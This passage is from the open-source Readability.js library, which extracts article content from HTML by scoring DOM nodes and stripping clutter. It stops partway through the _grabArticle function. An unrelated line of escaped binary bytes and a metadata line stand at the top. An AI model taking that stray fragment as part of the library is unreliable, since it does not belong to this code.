"{\20&\325S)\33\11u\33\315\206C\275\16\5|\10B\331S\361\207\2}\20&\325S!\134\324" "\353l$\324m\64\23\2~\10(\322Tq\210\34\177\6\0\20T\1\0\0\0\4\377\377\0";
{ "pile_set_name": "Github" }
/*eslint-env es6:false*/ /* * Copyright (c) 2010 Arc90 Inc * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * This code is heavily based on Arc90's readability.js (1.7.1) script * available at: http://code.google.com/p/arc90labs-readability */ /** * Public constructor. * @param {HTMLDocument} doc The document to parse. * @param {Object} options The options object. */ function Readability(doc, options) { // In some older versions, people passed a URI as the first argument. Cope: if (options && options.documentElement) { doc = options; options = arguments[2]; } else if (!doc || !doc.documentElement) { throw new Error("First argument to Readability constructor should be a document object."); } options = options || {}; this._doc = doc; this._docJSDOMParser = this._doc.firstChild.__JSDOMParser__; this._articleTitle = null; this._articleByline = null; this._articleDir = null; this._articleSiteName = null; this._attempts = []; // Configurable options this._debug = !!options.debug; this._maxElemsToParse = options.maxElemsToParse || this.DEFAULT_MAX_ELEMS_TO_PARSE; this._nbTopCandidates = options.nbTopCandidates || this.DEFAULT_N_TOP_CANDIDATES; this._charThreshold = options.charThreshold || this.DEFAULT_CHAR_THRESHOLD; this._classesToPreserve = this.CLASSES_TO_PRESERVE.concat(options.classesToPreserve || []); this._keepClasses = !!options.keepClasses; // Start with all flags set this._flags = this.FLAG_STRIP_UNLIKELYS | this.FLAG_WEIGHT_CLASSES | this.FLAG_CLEAN_CONDITIONALLY; var logEl; // Control whether log messages are sent to the console if (this._debug) { logEl = function(e) { var rv = e.nodeName + " "; if (e.nodeType == e.TEXT_NODE) { return rv + '("' + e.textContent + '")'; } var classDesc = e.className && ("." + e.className.replace(/ /g, ".")); var elDesc = ""; if (e.id) elDesc = "(#" + e.id + classDesc + ")"; else if (classDesc) elDesc = "(" + classDesc + ")"; return rv + elDesc; }; this.log = function () { if (typeof dump !== "undefined") { var msg = Array.prototype.map.call(arguments, function(x) { return (x && x.nodeName) ? logEl(x) : x; }).join(" "); dump("Reader: (Readability) " + msg + "\n"); } else if (typeof console !== "undefined") { var args = ["Reader: (Readability) "].concat(arguments); console.log.apply(console, args); } }; } else { this.log = function () {}; } } Readability.prototype = { FLAG_STRIP_UNLIKELYS: 0x1, FLAG_WEIGHT_CLASSES: 0x2, FLAG_CLEAN_CONDITIONALLY: 0x4, // https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType ELEMENT_NODE: 1, TEXT_NODE: 3, // Max number of nodes supported by this parser. Default: 0 (no limit) DEFAULT_MAX_ELEMS_TO_PARSE: 0, // The number of top candidates to consider when analysing how // tight the competition is among candidates. DEFAULT_N_TOP_CANDIDATES: 5, // Element tags to score by default. DEFAULT_TAGS_TO_SCORE: "section,h2,h3,h4,h5,h6,p,td,pre".toUpperCase().split(","), // The default number of chars an article must have in order to return a result DEFAULT_CHAR_THRESHOLD: 500, // All of the regular expressions in use within readability. // Defined up here so we don't instantiate them repeatedly in loops. REGEXPS: { // NOTE: These two regular expressions are duplicated in // Readability-readerable.js. Please keep both copies in sync. unlikelyCandidates: /-ad-|ai2html|banner|breadcrumbs|combx|comment|community|cover-wrap|disqus|extra|footer|gdpr|header|legends|menu|related|remark|replies|rss|shoutbox|sidebar|skyscraper|social|sponsor|supplemental|ad-break|agegate|pagination|pager|popup|yom-remote/i, okMaybeItsACandidate: /and|article|body|column|content|main|shadow/i, positive: /article|body|content|entry|hentry|h-entry|main|page|pagination|post|text|blog|story/i, negative: /hidden|^hid$| hid$| hid |^hid |banner|combx|comment|com-|contact|foot|footer|footnote|gdpr|masthead|media|meta|outbrain|promo|related|scroll|share|shoutbox|sidebar|skyscraper|sponsor|shopping|tags|tool|widget/i, extraneous: /print|archive|comment|discuss|e[\-]?mail|share|reply|all|login|sign|single|utility/i, byline: /byline|author|dateline|writtenby|p-author/i, replaceFonts: /<(\/?)font[^>]*>/gi, normalize: /\s{2,}/g, videos: /\/\/(www\.)?((dailymotion|youtube|youtube-nocookie|player\.vimeo|v\.qq)\.com|(archive|upload\.wikimedia)\.org|player\.twitch\.tv)/i, shareElements: /(\b|_)(share|sharedaddy)(\b|_)/i, nextLink: /(next|weiter|continue|>([^\|]|$)|»([^\|]|$))/i, prevLink: /(prev|earl|old|new|<|«)/i, whitespace: /^\s*$/, hasContent: /\S$/, srcsetUrl: /(\S+)(\s+[\d.]+[xw])?(\s*(?:,|$))/g, b64DataUrl: /^data:\s*([^\s;,]+)\s*;\s*base64\s*,/i }, DIV_TO_P_ELEMS: [ "A", "BLOCKQUOTE", "DL", "DIV", "IMG", "OL", "P", "PRE", "TABLE", "UL", "SELECT" ], ALTER_TO_DIV_EXCEPTIONS: ["DIV", "ARTICLE", "SECTION", "P"], PRESENTATIONAL_ATTRIBUTES: [ "align", "background", "bgcolor", "border", "cellpadding", "cellspacing", "frame", "hspace", "rules", "style", "valign", "vspace" ], DEPRECATED_SIZE_ATTRIBUTE_ELEMS: [ "TABLE", "TH", "TD", "HR", "PRE" ], // The commented out elements qualify as phrasing content but tend to be // removed by readability when put into paragraphs, so we ignore them here. PHRASING_ELEMS: [ // "CANVAS", "IFRAME", "SVG", "VIDEO", "ABBR", "AUDIO", "B", "BDO", "BR", "BUTTON", "CITE", "CODE", "DATA", "DATALIST", "DFN", "EM", "EMBED", "I", "IMG", "INPUT", "KBD", "LABEL", "MARK", "MATH", "METER", "NOSCRIPT", "OBJECT", "OUTPUT", "PROGRESS", "Q", "RUBY", "SAMP", "SCRIPT", "SELECT", "SMALL", "SPAN", "STRONG", "SUB", "SUP", "TEXTAREA", "TIME", "VAR", "WBR" ], // These are the classes that readability sets itself. CLASSES_TO_PRESERVE: [ "page" ], // These are the list of HTML entities that need to be escaped. HTML_ESCAPE_MAP: { "lt": "<", "gt": ">", "amp": "&", "quot": '"', "apos": "'", }, /** * Run any post-process modifications to article content as necessary. * * @param Element * @return void **/ _postProcessContent: function(articleContent) { // Readability cannot open relative uris so we convert them to absolute uris. this._fixRelativeUris(articleContent); if (!this._keepClasses) { // Remove classes. this._cleanClasses(articleContent); } }, /** * Iterates over a NodeList, calls `filterFn` for each node and removes node * if function returned `true`. * * If function is not passed, removes all the nodes in node list. * * @param NodeList nodeList The nodes to operate on * @param Function filterFn the function to use as a filter * @return void */ _removeNodes: function(nodeList, filterFn) { // Avoid ever operating on live node lists. if (this._docJSDOMParser && nodeList._isLiveNodeList) { throw new Error("Do not pass live node lists to _removeNodes"); } for (var i = nodeList.length - 1; i >= 0; i--) { var node = nodeList[i]; var parentNode = node.parentNode; if (parentNode) { if (!filterFn || filterFn.call(this, node, i, nodeList)) { parentNode.removeChild(node); } } } }, /** * Iterates over a NodeList, and calls _setNodeTag for each node. * * @param NodeList nodeList The nodes to operate on * @param String newTagName the new tag name to use * @return void */ _replaceNodeTags: function(nodeList, newTagName) { // Avoid ever operating on live node lists. if (this._docJSDOMParser && nodeList._isLiveNodeList) { throw new Error("Do not pass live node lists to _replaceNodeTags"); } for (var i = nodeList.length - 1; i >= 0; i--) { var node = nodeList[i]; this._setNodeTag(node, newTagName); } }, /** * Iterate over a NodeList, which doesn't natively fully implement the Array * interface. * * For convenience, the current object context is applied to the provided * iterate function. * * @param NodeList nodeList The NodeList. * @param Function fn The iterate function. * @return void */ _forEachNode: function(nodeList, fn) { Array.prototype.forEach.call(nodeList, fn, this); }, /** * Iterate over a NodeList, return true if any of the provided iterate * function calls returns true, false otherwise. * * For convenience, the current object context is applied to the * provided iterate function. * * @param NodeList nodeList The NodeList. * @param Function fn The iterate function. * @return Boolean */ _someNode: function(nodeList, fn) { return Array.prototype.some.call(nodeList, fn, this); }, /** * Iterate over a NodeList, return true if all of the provided iterate * function calls return true, false otherwise. * * For convenience, the current object context is applied to the * provided iterate function. * * @param NodeList nodeList The NodeList. * @param Function fn The iterate function. * @return Boolean */ _everyNode: function(nodeList, fn) { return Array.prototype.every.call(nodeList, fn, this); }, /** * Concat all nodelists passed as arguments. * * @return ...NodeList * @return Array */ _concatNodeLists: function() { var slice = Array.prototype.slice; var args = slice.call(arguments); var nodeLists = args.map(function(list) { return slice.call(list); }); return Array.prototype.concat.apply([], nodeLists); }, _getAllNodesWithTag: function(node, tagNames) { if (node.querySelectorAll) { return node.querySelectorAll(tagNames.join(",")); } return [].concat.apply([], tagNames.map(function(tag) { var collection = node.getElementsByTagName(tag); return Array.isArray(collection) ? collection : Array.from(collection); })); }, /** * Removes the class="" attribute from every element in the given * subtree, except those that match CLASSES_TO_PRESERVE and * the classesToPreserve array from the options object. * * @param Element * @return void */ _cleanClasses: function(node) { var classesToPreserve = this._classesToPreserve; var className = (node.getAttribute("class") || "") .split(/\s+/) .filter(function(cls) { return classesToPreserve.indexOf(cls) != -1; }) .join(" "); if (className) { node.setAttribute("class", className); } else { node.removeAttribute("class"); } for (node = node.firstElementChild; node; node = node.nextElementSibling) { this._cleanClasses(node); } }, /** * Converts each <a> and <img> uri in the given element to an absolute URI, * ignoring #ref URIs. * * @param Element * @return void */ _fixRelativeUris: function(articleContent) { var baseURI = this._doc.baseURI; var documentURI = this._doc.documentURI; function toAbsoluteURI(uri) { // Leave hash links alone if the base URI matches the document URI: if (baseURI == documentURI && uri.charAt(0) == "#") { return uri; } // Otherwise, resolve against base URI: try { return new URL(uri, baseURI).href; } catch (ex) { // Something went wrong, just return the original: } return uri; } var links = this._getAllNodesWithTag(articleContent, ["a"]); this._forEachNode(links, function(link) { var href = link.getAttribute("href"); if (href) { // Remove links with javascript: URIs, since // they won't work after scripts have been removed from the page. if (href.indexOf("javascript:") === 0) { // if the link only contains simple text content, it can be converted to a text node if (link.childNodes.length === 1 && link.childNodes[0].nodeType === this.TEXT_NODE) { var text = this._doc.createTextNode(link.textContent); link.parentNode.replaceChild(text, link); } else { // if the link has multiple children, they should all be preserved var container = this._doc.createElement("span"); while (link.childNodes.length > 0) { container.appendChild(link.childNodes[0]); } link.parentNode.replaceChild(container, link); } } else { link.setAttribute("href", toAbsoluteURI(href)); } } }); var medias = this._getAllNodesWithTag(articleContent, [ "img", "picture", "figure", "video", "audio", "source" ]); this._forEachNode(medias, function(media) { var src = media.getAttribute("src"); var poster = media.getAttribute("poster"); var srcset = media.getAttribute("srcset"); if (src) { media.setAttribute("src", toAbsoluteURI(src)); } if (poster) { media.setAttribute("poster", toAbsoluteURI(poster)); } if (srcset) { var newSrcset = srcset.replace(this.REGEXPS.srcsetUrl, function(_, p1, p2, p3) { return toAbsoluteURI(p1) + (p2 || "") + p3; }); media.setAttribute("srcset", newSrcset); } }); }, /** * Get the article title as an H1. * * @return void **/ _getArticleTitle: function() { var doc = this._doc; var curTitle = ""; var origTitle = ""; try { curTitle = origTitle = doc.title.trim(); // If they had an element with id "title" in their HTML if (typeof curTitle !== "string") curTitle = origTitle = this._getInnerText(doc.getElementsByTagName("title")[0]); } catch (e) {/* ignore exceptions setting the title. */} var titleHadHierarchicalSeparators = false; function wordCount(str) { return str.split(/\s+/).length; } // If there's a separator in the title, first remove the final part if ((/ [\|\-\\\/>»] /).test(curTitle)) { titleHadHierarchicalSeparators = / [\\\/>»] /.test(curTitle); curTitle = origTitle.replace(/(.*)[\|\-\\\/>»] .*/gi, "$1"); // If the resulting title is too short (3 words or fewer), remove // the first part instead: if (wordCount(curTitle) < 3) curTitle = origTitle.replace(/[^\|\-\\\/>»]*[\|\-\\\/>»](.*)/gi, "$1"); } else if (curTitle.indexOf(": ") !== -1) { // Check if we have an heading containing this exact string, so we // could assume it's the full title. var headings = this._concatNodeLists( doc.getElementsByTagName("h1"), doc.getElementsByTagName("h2") ); var trimmedTitle = curTitle.trim(); var match = this._someNode(headings, function(heading) { return heading.textContent.trim() === trimmedTitle; }); // If we don't, let's extract the title out of the original title string. if (!match) { curTitle = origTitle.substring(origTitle.lastIndexOf(":") + 1); // If the title is now too short, try the first colon instead: if (wordCount(curTitle) < 3) { curTitle = origTitle.substring(origTitle.indexOf(":") + 1); // But if we have too many words before the colon there's something weird // with the titles and the H tags so let's just use the original title instead } else if (wordCount(origTitle.substr(0, origTitle.indexOf(":"))) > 5) { curTitle = origTitle; } } } else if (curTitle.length > 150 || curTitle.length < 15) { var hOnes = doc.getElementsByTagName("h1"); if (hOnes.length === 1) curTitle = this._getInnerText(hOnes[0]); } curTitle = curTitle.trim().replace(this.REGEXPS.normalize, " "); // If we now have 4 words or fewer as our title, and either no // 'hierarchical' separators (\, /, > or ») were found in the original // title or we decreased the number of words by more than 1 word, use // the original title. var curTitleWordCount = wordCount(curTitle); if (curTitleWordCount <= 4 && (!titleHadHierarchicalSeparators || curTitleWordCount != wordCount(origTitle.replace(/[\|\-\\\/>»]+/g, "")) - 1)) { curTitle = origTitle; } return curTitle; }, /** * Prepare the HTML document for readability to scrape it. * This includes things like stripping javascript, CSS, and handling terrible markup. * * @return void **/ _prepDocument: function() { var doc = this._doc; // Remove all style tags in head this._removeNodes(this._getAllNodesWithTag(doc, ["style"])); if (doc.body) { this._replaceBrs(doc.body); } this._replaceNodeTags(this._getAllNodesWithTag(doc, ["font"]), "SPAN"); }, /** * Finds the next element, starting from the given node, and ignoring * whitespace in between. If the given node is an element, the same node is * returned. */ _nextElement: function (node) { var next = node; while (next && (next.nodeType != this.ELEMENT_NODE) && this.REGEXPS.whitespace.test(next.textContent)) { next = next.nextSibling; } return next; }, /** * Replaces 2 or more successive <br> elements with a single <p>. * Whitespace between <br> elements are ignored. For example: * <div>foo<br>bar<br> <br><br>abc</div> * will become: * <div>foo<br>bar<p>abc</p></div> */ _replaceBrs: function (elem) { this._forEachNode(this._getAllNodesWithTag(elem, ["br"]), function(br) { var next = br.nextSibling; // Whether 2 or more <br> elements have been found and replaced with a // <p> block. var replaced = false; // If we find a <br> chain, remove the <br>s until we hit another element // or non-whitespace. This leaves behind the first <br> in the chain // (which will be replaced with a <p> later). while ((next = this._nextElement(next)) && (next.tagName == "BR")) { replaced = true; var brSibling = next.nextSibling; next.parentNode.removeChild(next); next = brSibling; } // If we removed a <br> chain, replace the remaining <br> with a <p>. Add // all sibling nodes as children of the <p> until we hit another <br> // chain. if (replaced) { var p = this._doc.createElement("p"); br.parentNode.replaceChild(p, br); next = p.nextSibling; while (next) { // If we've hit another <br><br>, we're done adding children to this <p>. if (next.tagName == "BR") { var nextElem = this._nextElement(next.nextSibling); if (nextElem && nextElem.tagName == "BR") break; } if (!this._isPhrasingContent(next)) break; // Otherwise, make this node a child of the new <p>. var sibling = next.nextSibling; p.appendChild(next); next = sibling; } while (p.lastChild && this._isWhitespace(p.lastChild)) { p.removeChild(p.lastChild); } if (p.parentNode.tagName === "P") this._setNodeTag(p.parentNode, "DIV"); } }); }, _setNodeTag: function (node, tag) { this.log("_setNodeTag", node, tag); if (this._docJSDOMParser) { node.localName = tag.toLowerCase(); node.tagName = tag.toUpperCase(); return node; } var replacement = node.ownerDocument.createElement(tag); while (node.firstChild) { replacement.appendChild(node.firstChild); } node.parentNode.replaceChild(replacement, node); if (node.readability) replacement.readability = node.readability; for (var i = 0; i < node.attributes.length; i++) { try { replacement.setAttribute(node.attributes[i].name, node.attributes[i].value); } catch (ex) { /* it's possible for setAttribute() to throw if the attribute name * isn't a valid XML Name. Such attributes can however be parsed from * source in HTML docs, see https://github.com/whatwg/html/issues/4275, * so we can hit them here and then throw. We don't care about such * attributes so we ignore them. */ } } return replacement; }, /** * Prepare the article node for display. Clean out any inline styles, * iframes, forms, strip extraneous <p> tags, etc. * * @param Element * @return void **/ _prepArticle: function(articleContent) { this._cleanStyles(articleContent); // Check for data tables before we continue, to avoid removing items in // those tables, which will often be isolated even though they're // visually linked to other content-ful elements (text, images, etc.). this._markDataTables(articleContent); this._fixLazyImages(articleContent); // Clean out junk from the article content this._cleanConditionally(articleContent, "form"); this._cleanConditionally(articleContent, "fieldset"); this._clean(articleContent, "object"); this._clean(articleContent, "embed"); this._clean(articleContent, "h1"); this._clean(articleContent, "footer"); this._clean(articleContent, "link"); this._clean(articleContent, "aside"); // Clean out elements with little content that have "share" in their id/class combinations from final top candidates, // which means we don't remove the top candidates even they have "share". var shareElementThreshold = this.DEFAULT_CHAR_THRESHOLD; this._forEachNode(articleContent.children, function (topCandidate) { this._cleanMatchedNodes(topCandidate, function (node, matchString) { return this.REGEXPS.shareElements.test(matchString) && node.textContent.length < shareElementThreshold; }); }); // If there is only one h2 and its text content substantially equals article title, // they are probably using it as a header and not a subheader, // so remove it since we already extract the title separately. var h2 = articleContent.getElementsByTagName("h2"); if (h2.length === 1) { var lengthSimilarRate = (h2[0].textContent.length - this._articleTitle.length) / this._articleTitle.length; if (Math.abs(lengthSimilarRate) < 0.5) { var titlesMatch = false; if (lengthSimilarRate > 0) { titlesMatch = h2[0].textContent.includes(this._articleTitle); } else { titlesMatch = this._articleTitle.includes(h2[0].textContent); } if (titlesMatch) { this._clean(articleContent, "h2"); } } } this._clean(articleContent, "iframe"); this._clean(articleContent, "input"); this._clean(articleContent, "textarea"); this._clean(articleContent, "select"); this._clean(articleContent, "button"); this._cleanHeaders(articleContent); // Do these last as the previous stuff may have removed junk // that will affect these this._cleanConditionally(articleContent, "table"); this._cleanConditionally(articleContent, "ul"); this._cleanConditionally(articleContent, "div"); // Remove extra paragraphs this._removeNodes(this._getAllNodesWithTag(articleContent, ["p"]), function (paragraph) { var imgCount = paragraph.getElementsByTagName("img").length; var embedCount = paragraph.getElementsByTagName("embed").length; var objectCount = paragraph.getElementsByTagName("object").length; // At this point, nasty iframes have been removed, only remain embedded video ones. var iframeCount = paragraph.getElementsByTagName("iframe").length; var totalCount = imgCount + embedCount + objectCount + iframeCount; return totalCount === 0 && !this._getInnerText(paragraph, false); }); this._forEachNode(this._getAllNodesWithTag(articleContent, ["br"]), function(br) { var next = this._nextElement(br.nextSibling); if (next && next.tagName == "P") br.parentNode.removeChild(br); }); // Remove single-cell tables this._forEachNode(this._getAllNodesWithTag(articleContent, ["table"]), function(table) { var tbody = this._hasSingleTagInsideElement(table, "TBODY") ? table.firstElementChild : table; if (this._hasSingleTagInsideElement(tbody, "TR")) { var row = tbody.firstElementChild; if (this._hasSingleTagInsideElement(row, "TD")) { var cell = row.firstElementChild; cell = this._setNodeTag(cell, this._everyNode(cell.childNodes, this._isPhrasingContent) ? "P" : "DIV"); table.parentNode.replaceChild(cell, table); } } }); }, /** * Initialize a node with the readability object. Also checks the * className/id for special names to add to its score. * * @param Element * @return void **/ _initializeNode: function(node) { node.readability = {"contentScore": 0}; switch (node.tagName) { case "DIV": node.readability.contentScore += 5; break; case "PRE": case "TD": case "BLOCKQUOTE": node.readability.contentScore += 3; break; case "ADDRESS": case "OL": case "UL": case "DL": case "DD": case "DT": case "LI": case "FORM": node.readability.contentScore -= 3; break; case "H1": case "H2": case "H3": case "H4": case "H5": case "H6": case "TH": node.readability.contentScore -= 5; break; } node.readability.contentScore += this._getClassWeight(node); }, _removeAndGetNext: function(node) { var nextNode = this._getNextNode(node, true); node.parentNode.removeChild(node); return nextNode; }, /** * Traverse the DOM from node to node, starting at the node passed in. * Pass true for the second parameter to indicate this node itself * (and its kids) are going away, and we want the next node over. * * Calling this in a loop will traverse the DOM depth-first. */ _getNextNode: function(node, ignoreSelfAndKids) { // First check for kids if those aren't being ignored if (!ignoreSelfAndKids && node.firstElementChild) { return node.firstElementChild; } // Then for siblings... if (node.nextElementSibling) { return node.nextElementSibling; } // And finally, move up the parent chain *and* find a sibling // (because this is depth-first traversal, we will have already // seen the parent nodes themselves). do { node = node.parentNode; } while (node && !node.nextElementSibling); return node && node.nextElementSibling; }, _checkByline: function(node, matchString) { if (this._articleByline) { return false; } if (node.getAttribute !== undefined) { var rel = node.getAttribute("rel"); var itemprop = node.getAttribute("itemprop"); } if ((rel === "author" || (itemprop && itemprop.indexOf("author") !== -1) || this.REGEXPS.byline.test(matchString)) && this._isValidByline(node.textContent)) { this._articleByline = node.textContent.trim(); return true; } return false; }, _getNodeAncestors: function(node, maxDepth) { maxDepth = maxDepth || 0; var i = 0, ancestors = []; while (node.parentNode) { ancestors.push(node.parentNode); if (maxDepth && ++i === maxDepth) break; node = node.parentNode; } return ancestors; }, /*** * grabArticle - Using a variety of metrics (content score, classname, element types), find the content that is * most likely to be the stuff a user wants to read. Then return it wrapped up in a div. * * @param page a document to run upon. Needs to be a full document, complete with body. * @return Element **/ _grabArticle: function (page) { this.log("**** grabArticle ****"); var doc = this._doc; var isPaging = (page !== null ? true: false); page = page ? page : this._doc.body; // We can't grab an article if we don't have a page! if (!page) { this.log("No body found in document. Abort."); return null; } var pageCacheHtml = page.innerHTML; while (true) { var stripUnlikelyCandidates = this._flagIsActive(this.FLAG_STRIP_UNLIKELYS); // First, node prepping. Trash nodes that look cruddy (like ones with the // class name "comment", etc), and turn divs into P tags where they have been // used inappropriately (as in, where they contain no other block level elements.) var elementsToScore = []; var node = this._doc.documentElement; while (node) { var matchString = node.className + " " + node.id; if (!this._isProbablyVisible(node)) { this.log("Removing hidden node - " + matchString); node = this._removeAndGetNext(node); continue; } // Check to see if this node is a byline, and remove it if it is. if (this._checkByline(node, matchString)) { node = this._removeAndGetNext(node); continue; } // Remove unlikely candidates if (stripUnlikelyCandidates) { if (this.REGEXPS.unlikelyCandidates.test(matchString) && !this.REGEXPS.okMaybeItsACandidate.test(matchString) && !this._hasAncestorTag(node, "table") && node.tagName !== "BODY" && node.tagName !== "A") { this.log("Removing unlikely candidate - " + matchString); node = this._removeAndGetNext(node); continue; } if (node.getAttribute("role") == "complementary") { this.log("Removing complementary content - " + matchString); node = this._removeAndGetNext(node); continue; } } // Remove DIV, SECTION, and HEADER nodes without any content(e.g. text, image, video, or iframe). if ((node.tagName === "DIV" || node.tagName === "SECTION" || node.tagName === "HEADER" || node.tagName === "H1" || node.tagName === "H2" || node.tagName === "H3" || node.tagName === "H4" || node.tagName === "H5" || node.tagName === "H6") && this._isElementWithoutContent(node)) { node = this._removeAndGetNext(node); continue; } if (this.DEFAULT_TAGS_TO_SCORE.indexOf(node.tagName) !== -1) { elementsToScore.push(node); } // Turn all divs that don't have children block level elements into p's if (node.tagName === "DIV") { // Put phrasing content into paragraphs. var p = null; var childNode = node.firstChild; while (childNode) { var nextSibling = childNode.nextSibling; if (this._isPhrasingContent(childNode)) { if (p !== null) { p.appendChild(childNode); } else if (!this._isWhitespace(childNode)) { p = doc.createElement("p"); node.replaceChild(p, childNode); p.appendChild(childNode); } } else if (p !== null) { while (p.lastChild && this._isWhitespace(p.lastChild)) { p.removeChild(p.lastChild); } p = null; } childNode = nextSibling; } // Sites like http://mobile.slate.com encloses each paragraph with a DIV // element. DIVs with only a P element inside and no text content can be // safely converted into plain P elements to avoid confusing the scoring // algorithm with DIVs with are, in practice, paragraphs. if (this._hasSingleTagInsideElement(node, "P") && this._getLinkDensity(node) < 0.25) { var newNode = node.children[0]; node.parentNode.replaceChild(newNode, node); node = newNode; elementsToScore.push(node); } else if (!this._hasChildBlockElement(node)) { node = this._setNodeTag(node, "P"); elementsToScore.push(node); } } node = this._getNextNode(node); } /** * Loop through all paragraphs, and assign a score to them based on how content-y they look. * Then add their score to their parent node. * * A score is determined by things like number of commas, class names, etc. Maybe eventually link density. **/ var candidates = []; this._forEachNode(elementsToScore, function(elementToScore) { if (!elementToScore.parentNode || typeof(elementToScore.parentNode.tagName) === "undefined") return; // If this paragraph is less than 25 characters, don't even count it. var innerText = this._getInnerText(elementToScore); if (innerText.length < 25) return; // Exclude nodes with no ancestor. var ancestors = this._getNodeAncestors(elementToScore, 3); if (ancestors.length === 0) return; var contentScore = 0; // Add a point for the paragraph itself as a base. contentScore += 1; // Add points for any commas within this paragraph. contentScore += innerText.split(",").length; // For every 100 characters in this paragraph, add another point. Up to 3 points. contentScore += Math.min(Math.floor(innerText.length / 100), 3); // Initialize and score ancestors. this._forEachNode(ancestors, function(ancestor, level) { if (!ancestor.tagName || !ancestor.parentNode || typeof(ancestor.parentNode.tagName) === "undefined") return; if (typeof(ancestor.readability) === "undefined") { this._initializeNode(ancestor); candidates.push(ancestor); } // Node score divider: // - parent: 1 (no division) // - grandparent: 2 // - great grandparent+: ancestor level * 3 if (level === 0) var scoreDivider = 1; else if (level === 1) scoreDivider = 2; else scoreDivider = level * 3; ancestor.readability.contentScore += contentScore / scoreDivider; }); }); // After we've calculated scores, loop through all of the possible // candidate nodes we found and find the one with the highest score. var topCandidates = []; for (var c = 0, cl = candidates.length; c < cl; c += 1) { var candidate = candidates[c]; // Scale the final candidates score based on link density. Good content // should have a relatively small link density (5% or less) and be mostly // unaffected by this operation. var candidateScore = candidate.readability.contentScore * (1 - this._getLinkDensity(candidate)); candidate.readability.contentScore = candidateScore; this.log("Candidate:", candidate, "with score " + candidateScore); for (var t = 0; t < this._nbTopCandidates; t++) { var aTopCandidate = topCandidates[t]; if (!aTopCandidate || candidateScore > aTopCandidate.readability.contentScore) { topCandidates.splice(t, 0, candidate); if (topCandidates.length > this._nbTopCandidates) topCandidates.pop(); break; } } } var topCandidate = topCandidates[0] || null; var neededToCreateTopCandidate = false; var parentOfTopCandidate; // If we still have no top candidate, just use the body as a last resort. // We also have to copy the body node so it is something we can modify. if (topCandidate === null || topCandidate.tagName === "BODY") { // Move all of the page's children into topCandidate topCandidate = doc.createElement("DIV"); neededToCreateTopCandidate = true; // Move everything (not just elements, also text nodes etc.) into the container // so we even include text directly in the body: var kids = page.childNodes; while (kids.length) { this.log("Moving child out:", kids[0]); topCandidate.appendChild(kids[0]); } page.appendChild(topCandidate); this._initializeNode(topCandidate); } else if (topCandidate) { // Find a better top candidate node if it contains (at least three) nodes which belong to `topCandidates` array // and whose scores are quite closed with current `topCandidate` node. var alternativeCandidateAncestors = []; for (var i = 1; i < topCandidates.length; i++) { if (topCandidates[i].readability.contentScore / topCandidate.readability.contentScore >= 0.75) { alternativeCandidateAncestors.push(this._getNodeAncestors(topCandidates[i])); } } var MINIMUM_TOPCANDIDATES = 3; if (alternativeCandidateAncestors.length >= MINIMUM_TOPCANDIDATES) { parentOfTopCandidate = topCandidate.parentNode; while (parentOfTopCandidate.tagName !== "BODY") { var listsContainingThisAncestor = 0; for (var ancestorIndex = 0; ancestorIndex < alternativeCandidateAncestors.length && listsContainingThisAncestor < MINIMUM_TOPCANDIDATES; ancestorIndex++) { listsContainingThisAncestor += Number(alternativeCandidateAncestors[ancestorIndex].includes(parentOfTopCandidate)); } if (listsContainingThisAncestor >= MINIMUM_TOPCANDIDATES) { topCandidate = parentOfTopCandidate; break; } parentOfTopCandidate = parentOfTopCandidate.parentNode; } } if (!topCandidate.readability) { this._initializeNode(topCandidate); } // Because of our bonus system, parents of candidates might have scores // themselves. They get half of the node. There won't be nodes with higher // scores than our topCandidate, but if we see the score going *up* in the first // few steps up the tree, that's a decent sign that there might be more content // lurking in other places that we want to unify in. The sibling stuff // below does some of that - but only if we've looked high enough up the DOM // tree. parentOfTopCandidate = topCandidate.parentNode; var lastScore = topCandidate.readability.contentScore; // The scores shouldn't get too low. var scoreThreshold = lastScore / 3; while (parentOfTopCandidate.tagName !== "BODY") { if (!parentOfTopCandidate.readability) { parentOfTopCandidate = parentOfTopCandidate.parentNode; continue; } var parentScore = parentOfTopCandidate.readability.contentScore; if (parentScore < scoreThreshold) break; if (parentScore > lastScore) { // Alright! We found a better parent to use. topCandidate = parentOfTopCandidate; break; } lastScore = parentOfTopCandidate.readability.contentScore; parentOfTopCandidate = parentOfTopCandidate.parentNode; } // If the top candidate is the only child, use parent instead. This will help sibling // joining logic when adjacent content is actually located in parent's sibling node. parentOfTopCandidate = topCandidate.parentNode; while (parentOfTopCandidate.tagName != "BODY" && parentOfTopCandidate.children.length == 1) { topCandidate = parentOfTopCandidate; parentOfTopCandidate = topCandidate.parentNode; } if (!topCandidate.readability) { this._initializeNode(topCandidate); } } // Now that we have the top candidate, look through its siblings for content // that might also be related. Things like preambles, content split by ads // that we removed, etc. var articleContent = doc.createElement("DIV"); if (isPaging) articleContent.id = "readability-content"; var siblingScoreThreshold = Math.max(10, topCandidate.readability.contentScore * 0.2); // Keep potential top candidate's parent node to try to get text direction of it later. parentOfTopCandidate = topCandidate.parentNode; var siblings = parentOfTopCandidate.children; for (var s = 0, sl = siblings.length; s < sl; s++) { var sibling = siblings[s]; var append = false; this.log("Looking at sibling node:", sibling, sibling.readability ? ("with score " + sibling.readability.contentScore) : ""); this.log("Sibling has score", sibling.readability ? sibling.readability.contentScore : "Unknown"); if (sibling === topCandidate) { append = true; } else { var contentBonus = 0; // Give a bonus if sibling nodes and top candidates have the example same classname if (sibling.className === topCandidate.className && topCandidate.className !== "") contentBonus += topCandidate.readability.contentScore * 0.2; if (sibling.readability && ((sibling.readability.contentScore + contentBonus) >= siblingScoreThreshold)) { append = true; } else if (sibling.nodeName === "P") { var linkDensity = this._getLinkDensity(sibling); var nodeContent = this._getInnerText(sibling); var nodeLength = nodeContent.length; if (nodeLength > 80 && linkDensity < 0.25) { append = true; } else if (nodeLength < 80 && nodeLength > 0 && linkDensity === 0 && nodeContent.search(/\.( |$)/) !== -1) { append = true; } } } if (append) { this.log("Appending node:", sibling); if (this.ALTER_TO_DIV_EXCEPTIONS.indexOf(sibling.nodeName) === -1) { // We have a node that isn't a common block level element, like a form or td tag. // Turn it into a div so it doesn't get filtered out later by accident. this.log("Altering sibling:", sibling, "to div."); sibling = this._setNodeTag(sibling, "DIV"); } articleContent.appendChild(sibling); // siblings is a reference to the children array, 